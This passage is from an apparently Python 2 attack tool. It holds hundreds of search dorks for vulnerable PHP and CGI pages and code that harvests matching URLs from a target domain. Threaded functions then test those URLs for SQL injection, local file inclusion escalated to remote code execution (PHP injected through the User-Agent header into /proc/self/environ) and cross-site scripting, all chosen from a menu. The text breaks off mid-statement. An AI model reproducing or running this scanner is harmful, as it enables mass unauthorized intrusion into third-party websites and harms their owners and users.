'.php?release_id="', '.php?release="', '.php?return="', '.php?root="', '.php?S="', '.php?searchcode_id="', '.php?sec="', '.php?secao="', '.php?sect="', '.php?sel="', '.php?server="', '.php?servico="', '.php?sg="', '.php?shard="', '.php?show="', '.php?sid="', '.php?site="', '.php?sourcedir="', '.php?start="', '.php?storyid="', '.php?str="', '.php?subject="', '.php?sufixo="', '.php?systempath="', '.php?t="', '.php?task="', '.php?teste="', '.php?theme_dir="', '.php?thread_id="', '.php?tid="', '.php?title="', '.php?to="', '.php?topic_id="', '.php?type="', '.php?u="', '.php?url="', '.php?urlFrom="', '.php?v="', '.php?var="', '.php?vi="', '.php?view="', '.php?visual="', '.php?wPage="', '.php?y="', '/components/com_forum/download.php?phpbb_root_path= com_forum', '[Script Path]/admin/index.php?o= admin/index.php"', '/admin/index.php?o= admin/index.php"', 'index.php?menu=deti&page= index.php?menu=deti&page"', 'include/editfunc.inc.php?NWCONF_SYSTEM[server_path]= intitle:Newswriter', '/classes/adodbt/sql.php?classes_dir= "index2.php?option=rss"', 'components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= com_extended_registration', 'index.php?RP_PATH= reviewpost', 'index.php?pagename= phpquiz', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= /com_remository/', '/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]= com_extcalendar', 'components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path= "com_phpshop"', '/tools/send_reminders.php?includedir= day.php?date=', 'SQuery/lib/gore.php?libpath= "/SQuery/"', 'm2f/m2f_phpbb204.php?m2f_root_path= /m2f_usercp.php?', 'wamp_dir/setup/yesno.phtml?no_url= "setup"', 'components/com_forum/download.php?phpbb_root_path= "com_forum"', 'index.php?p= "/index.php?p=*.php"', 'index.php?pag= "/index.php?pag=*.php"', 'template.php?page= "/template.php?page=*.php"', 'main.php?page= "/main.php?page=*.php"', 'index2.php?pag= "/index2.php?pag=*.php"', 'home.php?pag= "/home.php?pag=*.php"', 'index.php?page= "/index.php?page=*.php"', 'default.php?page= "/default.php?page=*.php"', 'inc/cmses/aedatingCMS.php?dir[inc]= "flashchat"', '/modules/vwar/admin/admin.php?vwar_root= vwar', 'bb_usage_stats/include/bb_usage_stats.php?phpbb_root_path= forum', 'encapscms_PATH/core/core.php?root= encapscms_PATH', 'inc/session.php?sessionerror=0&lang= inc', 'path/index.php?function=custom&custom= path', '[MyAlbum_DIR]/language.inc.php?langs_dir= [MyAlbum_DIR]', '/inc/irayofuncs.php?irayodirhack= "/inc/"'] d0rk += [ 'index.php?function=custom&custom= custom', 'cyberfolio/portfolio/msg/view.php?av= cyberfolio', '/modules/kernel/system/startup.php?CFG_PHPGIGGLE_ROOT= CFG_PHPGIGGLE_ROOT', '*mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=', '*pivot/modules/module_db.php?pivot_path=', '*inc/header.php/step_one.php?server_inc=', '*inst/index.php?lng=../../include/main.inc&G_PATH=', '*inc/pipe.php?HCL_path=', '*include/new-visitor.inc.php?lvc_include_dir=', '*includes/header.php?systempath=', '*support/mailling/maillist/inc/initdb.php?absolute_path=', '*coppercop/theme.php?THEME_DIR=', '*zentrack/index.php?configFile=', '*include/write.php?dir=', 'include/new-visitor.inc.php?lvc_include_dir=', 'includes/header.php?systempath=', 'support/mailling/maillist/inc/initdb.php?absolute_path=', 'coppercop/theme.php?THEME_DIR=', 'becommunity/community/index.php?pageurl=', 'shoutbox/expanded.php?conf=', 'agendax/addevent.inc.php?agendax_path=', 'myPHPCalendar/admin.php?cal_dir=', 'yabbse/Sources/Packages.php?sourcedir=', 'zboard/zboard.php', 'path_of_cpcommerce/_functions.php?prefix', 'dotproject/modules/tasks/viewgantt.php?root_dir=', 'My_eGery/public/displayCategory.php?basepath=', 'modules/My_eGery/public/displayCategory.php?basepath=', 'modules/4nAlbum/public/displayCategory.php?basepath=', 'modules/coppermine/themes/default/theme.php?THEME_DIR=', 'modules/agendax/addevent.inc.php?agendax_path=', 'modules/xoopsgery/upgrade_album.php?GERY_BASEDIR=', 'modules/xgery/upgrade_album.php?GERY_BASEDIR=', 'modules/coppermine/include/init.inc.php?CPG_M_DIR=', 'modules/mod_mainmenu.php?mosConfig_absolute_path=', 'pivot/modules/module_db.php?pivot_path=', 'library/editor/editor.php?root=', 'library/lib.php?root=', 'e107/e107_handlers/secure_img_render.php?p=', 'main.php?x=', 'main.php?page=', '*default.php?page=', '*default.php?body=', 'default.php?page=', '*index.php?url=', '*index.php?arquivo=', 'index.php?meio.php=', 'index.php?include=', 'index.php?open=', 'index.php?visualizar=', 'index.php?pagina=', 'index.php?inc=', 'index.php?page=', 'index.php?pag=', 'index.php?p=', 'index.php?content=', 'index.php?cont=', 'index.php?c=', 'index.php?meio=', 'index.php?x=', 'index.php?cat=', 'index.php?site=', 'index.php?configFile=', 'index.php?action=', 'index.php?do=', 'index2.php?x=', 'Index.php?id=', 'index2.php?content=', 'template.php?pagina', 'inc/step_one_tables.php?server_inc=', 'phpshop/index.php?base_dir=', 'admin.php?cal_dir=', 'path_of_cpcommerce/_functions.php?prefix=', 'contacts.php?cal_dir=', 'convert-date.php?cal_dir=', 'album_portal.php?phpbb_root_path=', 'mainfile.php?MAIN_PATH=', 'dotproject/modules/files/index_table.php?root_dir=', 'html/affich.php?base=', 'gery/init.php?HTTP_POST_VARS=', 'pm/lib.inc.php?pm_path=', 'ideabox/include.php?gorumDir=', 'modules/tasks/viewgantt.php?root_dir=', 'cgi-bin/index.cgi?page=', 'cgi-bin/awstats.pl?update=1&logfile=', 'cgi-bin/awstats/awstats.pl?configdir', 'cgi-bin/ikonboard.cgi', 'cgi-bin/acart/acart.pl?&page='] d0rk += [ 'cgi-bin/quikstore.cgi?category=', 'cgi-bin/ubb/ubb.cgi?g=', 'cgi-bin/hinsts.pl?', 'cgi-bin/bp/bp-lib.pl?g=', 'ccbill/whereami.cgi?g=ls', 'cgi-bin/telnet.cgi', 'cgi-bin/1/cmd.cgi', 'encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=', 'cgi-sys/guestbook.cgi?user=cpanel&template=', 'account.php?action= account.php?action=', 'account.php?action= iurl:"account.php?action="', 'account.php?action= iurl:".php?action="', 'account.php?action= .php?action=', 'accounts.php?command= .php?command="', 'addmedia.php?factsfile[$LANGUAGE]= phpGedView', '.php?p="', 'announcements.php?phpraid_dir= "phpraid"', 'announcements.php?phpraid_dir= "phpraid signup"', 'announcements.php?phpraid_dir= php raid', 'announcements.php?phpraid_dir= phpraid', 'announcements.php?phpraid_dir= phpraid signup', 'arg.php?arg= .php?arg=', 'args.php?arg= .php?arg=', 'atom.php5?page= .php5?id=', 'auto.php?inc= .php?inc="', 'auto.php?page= auto.php?page=', 'base.php?f1= base.php?f1="', 'base.php?f1= .php?f1="', 'board.php?see= board.php?see="', 'board.php?see= .php?see="', 'book.php5?page= php5?page=', '/calendar.php?l= calendar.php?l="', '/calendar.php?l= calendar.php?l=', '/calendar.php?p= calendar.php?p="', '/calendar.php?p= calendar.php?p=', '/calendar.php?pg= calendar.php?pg="', '/calendar.php?pg= calendar.php?pg=', '/calendar.php?s= calendar.php?s="', '/calendar.php?s= calendar.php?s=', '/addpost_newpoll.php?addpoll=preview&thispath= /ubbthreads/"', '/addpost_newpoll.php?addpoll=preview&thispath= /ubbthreads/', '/addpost_newpoll.php?addpoll=preview&thispath= "/ubbthreads/"', '/addpost_newpoll.php?addpoll=preview&thispath= "ubbthreads"', '/addpost_newpoll.php?addpoll=preview&thispath= ubbthreads', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= "com_remository"', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= "com_remository', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= com_remository', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= index.php?option=com_remository', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= "Mambo"', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= Mambo', '/administrator/components/com_serverstat/inst.serverstat.php?mosConfig_absolute_path= com_serverstat', '/administrator/components/com_serverstat/inst.serverstat.php?mosConfig_absolute_path= "com_serverstat"', 'canal.php?meio= .php?meio="', '/classes/adodbt/sql.php?classes_dir= "adobt"', '/classes/adodbt/sql.php?classes_dir= adobt', '/classes/adodbt/sql.php?classes_dir= adobt', '/classified_right.php?language_dir= "classified.php"', '/classified_right.php?language_dir= classified.php', '/classified_right.php?language_dir= classified.php phpbazar', '/classified_right.php?language_dir= "phpbazar"'] d0rk += [ '/classified_right.php?language_dir= phpbazar', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= "phpCOIN"', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= phpCOIN', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= "phpCOIN 1.2.3"', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= phpCOIN 1.2.3', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= "powered by phpCOIN 1.2.3"', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= powered by phpCOIN 1.2.3', '/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= com_extended_registration', '/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= "com_extended_registration"', '/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= com_extended_registration', '/components/com_facileforms/facileforms.frame.php?ff_compath= com_facileforms"', '/components/com_facileforms/facileforms.frame.php?ff_compath= "com_facileforms"', '/components/com_facileforms/facileforms.frame.php?ff_compath= com_facileforms', 'components/com_performs/performs.php?mosConfig_absolute_path= com_performs', 'components/com_performs/performs.php?mosConfig_absolute_path= "com_performs"', '/components/com_zoom/includes/database.php?mosConfig_absolute_path= "com_zoom"', '/components/com_zoom/includes/database.php?mosConfig_absolute_path= com_zoom', '/components/com_zoom/includes/database.php?mosConfig_absolute_path= "index.php?option="com_zoom"', 'content.php?page= "content.php?page=*.php"', '/embed/day.php?path= "Calendar"', '/embed/day.php?path= Calendar', '/embed/day.php?path= intitle:"Login to Calendar"', '/embed/day.php?path= "Login to Calendar"', '/embed/day.php?path= Login to Calendar', '/embed/day.php?path= "WebCalendar"', '/embed/day.php?path= WebCalendar', 'enc/content.php?Home_Path= "doodle"', 'enc/content.php?Home_Path= doodle', 'enc/content.php?Home_Path= "doodle cart"', 'enc/content.php?Home_Path= doodle cart', 'enc/content.php?Home_Path= "powered by doodle cart"', 'enc/content.php?Home_Path= powered by doodle cart', '/header.php?abspath= "MobilePublisherPHP"', '/header.php?abspath= MobilePublisherPHP', 'impex/ImpExData.php?systempath= intext:powered by vbulletin', 'impex/ImpExData.php?systempath= powered by vbulletin', 'impex/ImpExData.php?systempath= "vbulletin"', 'impex/ImpExData.php?systempath= vbulletin', '/includes/dbal.php?eqdkp_root_path= "EQdkp"', '/includes/dbal.php?eqdkp_root_path= EQdkp', '/includes/dbal.php?eqdkp_root_path= "powered by EQdkp"', '/includes/dbal.php?eqdkp_root_path= powered by EQdkp', '/includes/kb_constants.php?module_root_path= "Base"', '/includes/kb_constants.php?module_root_path= Base', '/includes/kb_constants.php?module_root_path= "Knowledge"', '/includes/kb_constants.php?module_root_path= Knowledge', '/includes/kb_constants.php?module_root_path= "Knowledge Base"'] d0rk += [ '/includes/kb_constants.php?module_root_path= Knowledge Base', '/includes/kb_constants.php?module_root_path= "Powered by Knowledge Base"', '/includes/kb_constants.php?module_root_path= Powered by Knowledge Base', 'index1.php?= "index1.php?="', 'index1.php?= index1.php?=', 'index1.php?= "index1.php?=*.php?', 'index2.php?= "index2.php?="', 'index2.php?= index2.php?=', 'index2.php?= "index2.php?=*.php?"', 'index.php?body= index.php?body=', 'index.php?body= "index.php?body="', 'index.php?go1= index.php?go1=', 'index.php?go1= "index.php?go1="', 'index.php?go= "index.php?go="', 'index.php?go= index.php?go=', 'index.php?pageurl= "index.php?pageurl="', 'index.php?pageurl= "index.php?pageurl=*.php"', 'index.php?pageurl= index.php?pageurl=*.php', 'index.php?pageurl= "index.php?pageurl=*.php', 'index.php?pagina1= "index.php?pagina1="', 'index.php?pagina1= index.php?pagina1=', 'index.php?pagina= "index.php?pagina="', 'index.php?pagina= "index.php?pagina=*.php"', 'index.php?site1= index.php?site1=', 'index.php?site1= "index.php?site1="', 'index.php?site= "index.php?site="', 'index.php?site= index.php?site=', 'index.php?var1= "index.php?var1="', 'index.php?var1= index.php?var1=', 'index.php?var2= index.php?var2=', 'index.php?var= index.php?va21=', 'index.php?var= index.php?var=', 'index.php?var= "index.php?var1="', 'index.php?var= index.php?var1=', 'index.php?var= "index.php?var2="', 'index.php?var= index.php?var2=', 'index.php?var= "index.php?var=*.php"', 'index.php?var= index.php?var=*.php', '/login.php?dir= login.php?dir=', '/login.php?dir= "login.php?dir="', '/login.php?dir= login.php?dir=', 'main.php?id= "main.php?id=*.php"', '/main.php?sayfa= "main.php?sayfa="', '/main.php?sayfa= main.php?sayfa=', '/mcf.php?content= mcf.php"', 'mcf.php?content= mcf.php"', 'mcf.php?content= "mcf.php"', 'mcf.php?content= mcf.php', '/modules/TotalCalendar/about.php?inc_dir= /TotalCalendar', '/modules/TotalCalendar/about.php?inc_dir= /TotalCalendar', '/modules/TotalCalendar/about.php?inc_dir= "TotalCalendar"', '/modules/TotalCalendar/about.php?inc_dir= TotalCalendar', '/modules/vwar/admin/admin.php?vwar_root= "vwar"', '/modules/vwar/admin/admin.php?vwar_root= vwar', 'phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= "index.php?id="', 'phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= index.php?id=', 'phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= "phpwcms/index.php?id="', 'phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= phpwcms/index.php?id=', 'skins/advanced/advanced1.php?pluginpath[0]= "Sabdrimer"', 'skins/advanced/advanced1.php?pluginpath[0]= Sabdrimer', 'skins/advanced/advanced1.php?pluginpath[0]= "Sabdrimer CMS"', 'skins/advanced/advanced1.php?pluginpath[0]= Sabdrimer CMS', 'skins/advanced/advanced1.php?pluginpath[0]= skins/advanced/advanced1.php?pluginpath[0]= "CMS"', 'skins/advanced/advanced1.php?pluginpath[0]= skins/advanced/advanced1.php?pluginpath[0]= "Sabdrimer CMS"'] d0rk += [ '/skin/zero_vote/error.php?dir= "skin/zero_vote/error.php"', '/skin/zero_vote/error.php?dir= skin/zero_vote/error.php', '/sources/functions.php?CONFIG[main_path]= "(Powered By ScozNews)"', '/sources/functions.php?CONFIG[main_path]= "Powered By ScozNews"', '/sources/functions.php?CONFIG[main_path]= (Powered By ScozNews)', '/sources/functions.php?CONFIG[main_path]= Powered By ScozNews', '/sources/functions.php?CONFIG[main_path]= "ScozNews"', '/sources/functions.php?CONFIG[main_path]= ScozNews', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= "Aardvark"', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= Aardvark', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= "Aardvark TopSites"', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= Aardvark TopSites', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= "Powered By Aardvark Topsites PHP 4.2.2"', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= Powered By Aardvark Topsites PHP 4.2.2', '/sources/template.php?CONFIG[main_path]= "(Powered By ScozNews)"', '/sources/template.php?CONFIG[main_path]= (Powered By ScozNews)', '/sources/template.php?CONFIG[main_path]= Powered By ScozNews', '/sources/template.php?CONFIG[main_path]= "ScozNews"', '/sources/template.php?CONFIG[main_path]= ScozNews', '/surveys/survey.inc.php?path= surveys', '/surveys/survey.inc.php?path= "surveys"', '/tags.php?BBCodeFile= intitle:"Tagger LE"', '/tags.php?BBCodeFile= intitle:"Tagger LE" tags.php', '/tags.php?BBCodeFile= "Tagger LE"', '/tags.php?BBCodeFile= Tagger LE', '/tags.php?BBCodeFile= "tags.php"', '/tags.php?BBCodeFile= tags.php', '/templates/headline_temp.php?nst_inc= intitle:fusion:news:management', '/templates/headline_temp.php?nst_inc= \'fusion"', '/templates/headline_temp.php?nst_inc= "fusion"', '/templates/headline_temp.php?nst_inc= fusion', '/templates/headline_temp.php?nst_inc= fusion:news:management:system', '/templates/headline_temp.php?nst_inc= "management"', '/templates/headline_temp.php?nst_inc= management', '/templates/headline_temp.php?nst_inc= "news"', '/templates/headline_temp.php?nst_inc= news', '/templates/headline_temp.php?nst_inc= "system"', '/templates/headline_temp.php?nst_inc= system', '/tools/send_reminders.php?includedir= "day.php?date="', '/tools/send_reminders.php?includedir= day.php?date=', '/ws/get_events.php?includedir= /WebCalendar/', '/ws/get_events.php?includedir= "/WebCalendar/"', '/ws/get_events.php?includedir= "WebCalendar"', '/zipndownload.php?PP_PATH= "PhotoPost"', '/zipndownload.php?PP_PATH= PhotoPost', '/zipndownload.php?PP_PATH= "PhotoPostP"', '/zipndownload.php?PP_PATH= "PhotoPost PHP"', '/zipndownload.php?PP_PATH= "PhotoPost PHP 4.6"', '/zipndownload.php?PP_PATH= PhotoPost PHP 4.6', '/zipndownload.php?PP_PATH= "Powered by: PhotoPost PHP 4.6"', '/zipndownload.php?PP_PATH= Powered by: PhotoPost PHP 4.6', 'cmd.php?arg= .php?arg='] d0rk += [ '/codebb/lang_select?phpbb_root_path= codebb', '/codebb/lang_select?phpbb_root_path= codebb 1.1b3', 'components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= rs gery', 'components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= rsgery', 'components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= rsgery.php', 'content.php?inc= .php?inc="', 'content.php?seite= content.php?seite=', 'content.php?seite= .php?seite=', 'dbase.php?action= dbase.php', 'dbase.php?action= dbase.php?action=', 'dbase.php?action= .php?action=', 'default.php?arquivo= .php?arquivo=', 'default.php?vis= .php?vis="', 'define.php?term= .php?term="', 'detail.php?prod= detail.php?prod="', 'detail.php?prod= .php?prod="', 'details.php?loc= details.php?loc=', 'details.php?loc= .php?loc=', 'directions.php?loc= directions.php?loc=', 'direct.php?loc= direct.php?loc=', 'display.php?f= display.php?f=', 'display.php?file= display.php?file=', 'display.php?lang= display.php?lang=', 'display.php?l= display.php?l=', 'display.php?ln= display.php?ln=', 'display.php?pag= display.php?pag=', 'display.php?page= display.php?page="', 'display.php?page= .php?page="', 'display.php?page=&lang= display.php?page="', 'display.php?page=&lang= .php?page="', 'display.php?p= display.php?p=', 'display.php?pg= display.php?pg=', 'display.php?s= display.php?s=', 'display.php?table= display.php?table=', 'display.php?table= .php?table=', 'download.php?sub= "download.php?sub="', 'download.php?sub= download.php?sub=', 'eng.php?img= eng.php?img=', 'eng.php?img= .php?img=', '/exibir.php?arquivo= .php?arquivo=', 'experts.php?sub= "experts.php?sub="', 'experts.php?sub= experts.php?sub=', 'forum.php?seite= .php?seite=', 'frag.php?exec= frag.php"', 'frag.php?exec= frag.php?exec="', 'frag.php?exec= .php?exec="', 'frame.php?loc= .php?loc="', 'galerie.php?do= .php?do="', 'glossary.php?term= .php?term="', 'handlinger.php?vis= .php?vis="', '/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHP Ged View', '/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHP GedView', '/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHPGedView', '/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHPGedView <= 3.3.7', 'home1.php?ln= .php?ln=', 'home2.php?ln= .php?ln=', 'home.php?a= home.php?a="', 'home.php?a= .php?a="', 'home.php?act= "home.php?act="', 'home.php?act= home.php?act=', 'home.php?arg= .php?arg=', 'home.php?func= .php?func="', 'home.php?i= "home.php?i="', 'home.php?i= home.php?i=', 'home.php?inc= "home.php?inc="', 'home.php?inc= home.php?inc=', 'home.php?ln= .php?ln=', 'home.php?ltr= .php?ltr="', 'home.php?sit= .php?sit="', 'home.php?table= .php?table=', 'image.php?img= image.php?img=', 'image.php?img= .php?img=', 'img.php?loc= img.php?loc="', 'img.php?loc= .php?loc="', 'inc.php?inc= .php?inc="', 'index1.php?arg= .php?arg=', 'index1.php?arq= .php?arq=', 'index1.php?func= .php?func="', 'index1.php?inc= .php?inc="', 'index1.php?lk= .php?lk="', '/index1.php?ln= .php?ln=', 'index1.php?ltr= .php?ltr="'] d0rk += [ 'index1.php?mid= index1.php?mid=', 'index1.php?page= index1.php?page="', 'index1.php?p= .php?p="', 'index1.php?p= .php?pag="', 'index1.php?p= .php?page="', 'index1.php?p= .php?pg="', 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index.php?set="', 'index.php?set= index.php?set=', 'index.php?set= .php?set=', 'index.php?set= .php?set="', 'index.php?sf= index.php?sf="', 'index.php?show= .php?show="', 'index.php?s= "index.php?s="', 'index.php?s= index.php?s=', 'index.php?sit= index.php?sit="', 'index.php?sit= .php?sit="', '/index.php?slang= /index.php?slang=', '/index.php?slang= "index.php?slang="', '/index.php?slang= .php?slang=', '/index.php?slang= ".php?slang="', 'index.php?sort= .php?sort="', 'index.php?spage= index.php?spage="', 'index.php?spage= index.php?spage=', 'index.php?spage= .php?spage=', 'index.php?spage= .php?spage="', 'index.php?ss= index.php?ss="', 'index.php?ss= .php?ss="', 'index.php?st= index.php?st="', 'index.php?sub= index.php?sub="'] d0rk += [ 'index.php?sub= index.php?sub=', 'index.php?sub= .php?sub=', 'index.php?sub= "index.php?sub="', 'index.php?sub= index.php?sub=', 'index.php?sub= "index.php?sub=""', 'index.php?sub= "index.php?sub="', 'index.php?sub= ".php?sub="', 'index.php?subpage= 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modul.php?mod="', 'modul.php?mod= .php?mod="', 'more.php?sub= "more.php?sub="', 'more.php?sub= more.php?sub=', 'nav.php?g= "nav.php?g="', 'nav.php?g= nav.php?g=', 'nav.php?go= "nav.php?go="', 'nav.php?go= nav.php?go=', 'nav.php?lk= .php?lk="', 'nav.php?ln= .php?ln=', 'nav.php?loc= nav.php', 'nav.php?loc= nav.php?loc=', 'nav.php?loc= .php?loc=', 'nav.php?nav= "nav.php?nav="', 'nav.php?nav= nav.php?nav=', 'nav.php?page= "nav.php?page="', 'nav.php?page= nav.php?page=', 'nav.php?pagina= "nav.php?pagina="', 'nav.php?pagina= nav.php?pagina=', 'nav.php?pag= "nav.php?pag="', 'nav.php?pag= nav.php?pag=', 'nav.php?pg= "nav.php?pg="', 'nav.php?pg= nav.php?pg=', 'nav.php?p= "nav.php?p="', 'nav.php?p= nav.php?p=', 'order.php?lang= order.php?lang=', 'order.php?list= order.php?list=', 'order.php?ln= order.php?ln=', 'order.php?l= order.php?l=', 'order.php?page= order.php?page=', 'order.php?pag= order.php?pag=', 'order.php?pg= order.php?pg=', 'order.php?p= order.php?p=', 'order.php?wp= order.php?wp=', 'order.php?wp= .php?wp=', '/?page= .php5?id=', 'page.php5?id= page.php5?id=', 'page.php5?id= .php5?id=', 'page.php?arq= .php?arq=', 'page.php?ln= .php?ln=', 'page.php?p= page.php?p="', 'page.php?p= page.php?p=', 'page.php?p= .php?p=', 'page.php?p= .php?p="', 'page.php?s= page.php?s="', 'page.php?s= page' ] def search(maxc): urls = [] urls_len_last = 0 for site in sitearray: dark = 0 for dork in go: dark += 1 page = 0 try: while page < int(maxc): try: jar = cookielib.FileCookieJar("cookies") query = dork+"+site:"+site results_web = 'http://www.search-results.com/web?q='+query+'&hl=en&page='+repr(page)+'&src=hmp' request_web =urllib2.Request(results_web) agent = random.choice(header) request_web.add_header('User-Agent', agent) opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) text = opener_web.open(request_web).read() stringreg = re.compile('(?<=href=")(.*?)(?=")') names = stringreg.findall(text) page += 1 for name in names: if name not in urls: if re.search(r'\(',name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(http://)\d", name): pass elif re.search("google",name) or re.search("youtube", name) or re.search("phpbuddy", name) or re.search("iranhack",name) or re.search("phpbuilder",name) or re.search("codingforums", name) or re.search("phpfreaks", name) or re.search("%", name) or re.search("facebook", name) or re.search("twitter", name): pass elif re.search(site,name): urls.append(name) darklen = len(go) percent = int((1.0*dark/int(darklen))*100) urls_len = len(urls) sys.stdout.write("\rSite: %s | Collected urls: %s | D0rks: %s/%s | Percent Done: %s | Current page no.: %s <> " % (site,repr(urls_len),dark,darklen,repr(percent),repr(page))) sys.stdout.flush() if urls_len == urls_len_last: page = int(maxc) urls_len_last = len(urls) except: pass except(KeyboardInterrupt): pass tmplist = [] print "\n\n[+] URLS (unsorted): ",len(urls) for url in urls: try: host = url.split("/",3) domain = host[2] if domain not in tmplist and "=" in url: finallist.append(url) tmplist.append(domain) except: pass print "[+] URLS (sorted) : ",len(finallist) return finallist class injThread(threading.Thread): def __init__(self,hosts): self.hosts=hosts self.fcount = 0 self.check = True threading.Thread.__init__(self) def run (self): urls = list(self.hosts) for url in urls: try: if self.check == True: ClassicINJ(url) else: break except(KeyboardInterrupt,ValueError): pass self.fcount+=1 def stop(self): self.check = False class lfiThread(threading.Thread): def __init__(self,hosts): self.hosts=hosts self.fcount = 0 self.check = True threading.Thread.__init__(self) def run (self): urls = list(self.hosts) for url in urls: try: if self.check == True: ClassicLFI(url) else: break except(KeyboardInterrupt,ValueError): pass self.fcount+=1 def stop(self): self.check = False class xssThread(threading.Thread): def __init__(self,hosts): self.hosts=hosts self.fcount = 0 self.check = True threading.Thread.__init__(self) def run (self): urls = list(self.hosts) for url in urls: try: if self.check == True: ClassicXSS(url) else: break except(KeyboardInterrupt,ValueError): pass self.fcount+=1 def stop(self): self.check = False def ClassicINJ(url): EXT = "'" host = url+EXT try: source = urllib2.urlopen(host).read() for type,eMSG in sqlerrors.items(): if re.search(eMSG, source): print R+"[!] w00t!,w00t!:", O+host, B+"Error:", type,R+" ---> SQL Injection Found" logfile.write("\n"+host) vuln.append(host) col.append(host) break else: pass except: pass def ClassicLFI(url): lfiurl = url.rsplit('=', 1)[0] if lfiurl[-1] != "=": lfiurl = lfiurl + "=" for lfi in lfis: try: check = urllib2.urlopen(lfiurl+lfi.replace("\n", "")).read() if re.findall("root:x", check): print R+"[!] w00t!,w00t!: ", O+lfiurl+lfi,R+" ---> Local File Include Found" lfi_log_file.write("\n"+lfiurl+lfi) vuln.append(lfiurl+lfi) target = lfiurl+lfi target = target.replace("/etc/passwd","/proc/self/environ") header = "<? echo md5(baltazar); ?>" try: request_web = urllib2.Request(target) request_web.add_header('User-Agent', header) text = urllib2.urlopen(request_web) text = text.read() if re.findall("f17f4b3e8e709cd3c89a6dbd949d7171", text): print R+"[!] w00t!,w00t!: ",O+target,R+" ---> LFI to RCE Found" rce_log_file.write("\n",target) vuln.append(target) except: pass except: pass def ClassicXSS(url): for xss in xsses: try: source = urllib2.urlopen(url+xss.replace("\n","")).read() if re.findall("XSS by baltazar", source): print R+"[!] w00t!,w00t!: ", O+url+xss,R+" ---> XSS Found (might be false)" xss_log_file.write("\n"+url+xss) vuln.append(url+xss) except: pass def injtest(): print B+"\n[+] Preparing for SQLi scanning ..." print "[+] Can take a while ..." print "[!] Working ...\n" i = len(usearch) / int(numthreads) m = len(usearch) % int(numthreads) z = 0 if len(threads) <= numthreads: for x in range(0, int(numthreads)): sliced = usearch[x*i:(x+1)*i] if (z<m): sliced.append(usearch[int(numthreads)*i+z]) z +=1 thread = injThread(sliced) thread.start() threads.append(thread) for thread in threads: thread.join() def lfitest(): print B+"\n[+] Preparing for LFI - RCE scanning ..." print "[+] Can take a while ..." print "[!] Working ...\n" i = len(usearch) / int(numthreads) m = len(usearch) % int(numthreads) z = 0 if len(threads) <= numthreads: for x in range(0, int(numthreads)): sliced = usearch[x*i:(x+1)*i] if (z<m): sliced.append(usearch[int(numthreads)*i+z]) z +=1 thread = lfiThread(sliced) thread.start() threads.append(thread) for thread in threads: thread.join() def xsstest(): print B+"\n[+] Preparing for XSS scanning ..." print "[+] Can take a while ..." print "[!] Working ...\n" i = len(usearch) / int(numthreads) m = len(usearch) % int(numthreads) z = 0 if len(threads) <= numthreads: for x in range(0, int(numthreads)): sliced = usearch[x*i:(x+1)*i] if (z<m): sliced.append(usearch[int(numthreads)*i+z]) z +=1 thread = xssThread(sliced) thread.start() threads.append(thread) for thread in threads: thread.join() new = 1 menu = True while menu == True: if new == 1: threads = [] finallist = [] vuln = [] col = [] darkurl = [] print W sites = raw_input("\nChoose your target(domain) : ") sitearray = [ sites ] go = [] dorks = raw_input("Choose the number of random dorks (0 for all.. may take awhile!) : "); print "" if int(dorks) == 0: i = 0 while i < len(d0rk): go.append(d0rk[i]) i += 1 else: i = 0 while i < int(dorks): go.append(choice(d0rk)) i += 1 for g in go: print "dork: ",g numthreads = raw_input('\nEnter no. of threads : ') maxc = raw_input('Enter no. of pages : ') print "\nNumber of SQL errors :",len(sqlerrors) print "Number of LFI paths :",len(lfis) print "Number of XSS cheats :",len(xsses) print "Number of headers :",len(header) print "Number of threads :",numthreads print "Number of dorks :",len(go) print "Number of pages :",maxc print "Timeout in seconds :",timeout print "" usearch = search(maxc) new = 0 print R+"\n[1] SQLi Testing" print "[2] SQLi Testing Auto Mode" print "[3] LFI - RCE Testing" print "[4] XSS Testing" print "[5] SQLi and LFI - RCE Testing" print "[6] SQLi and XSS Testing" print "[7] LFI -RCE and XSS Testing" print "[8] SQLi,LFI - RCE and XSS Testing" print "[9] Save valid urls to file" print "[10] Print valid urls" print "[11] Found vuln in last scan" print "[12] New scan" print "[0] Exit\n" chce = raw_input(":") if chce 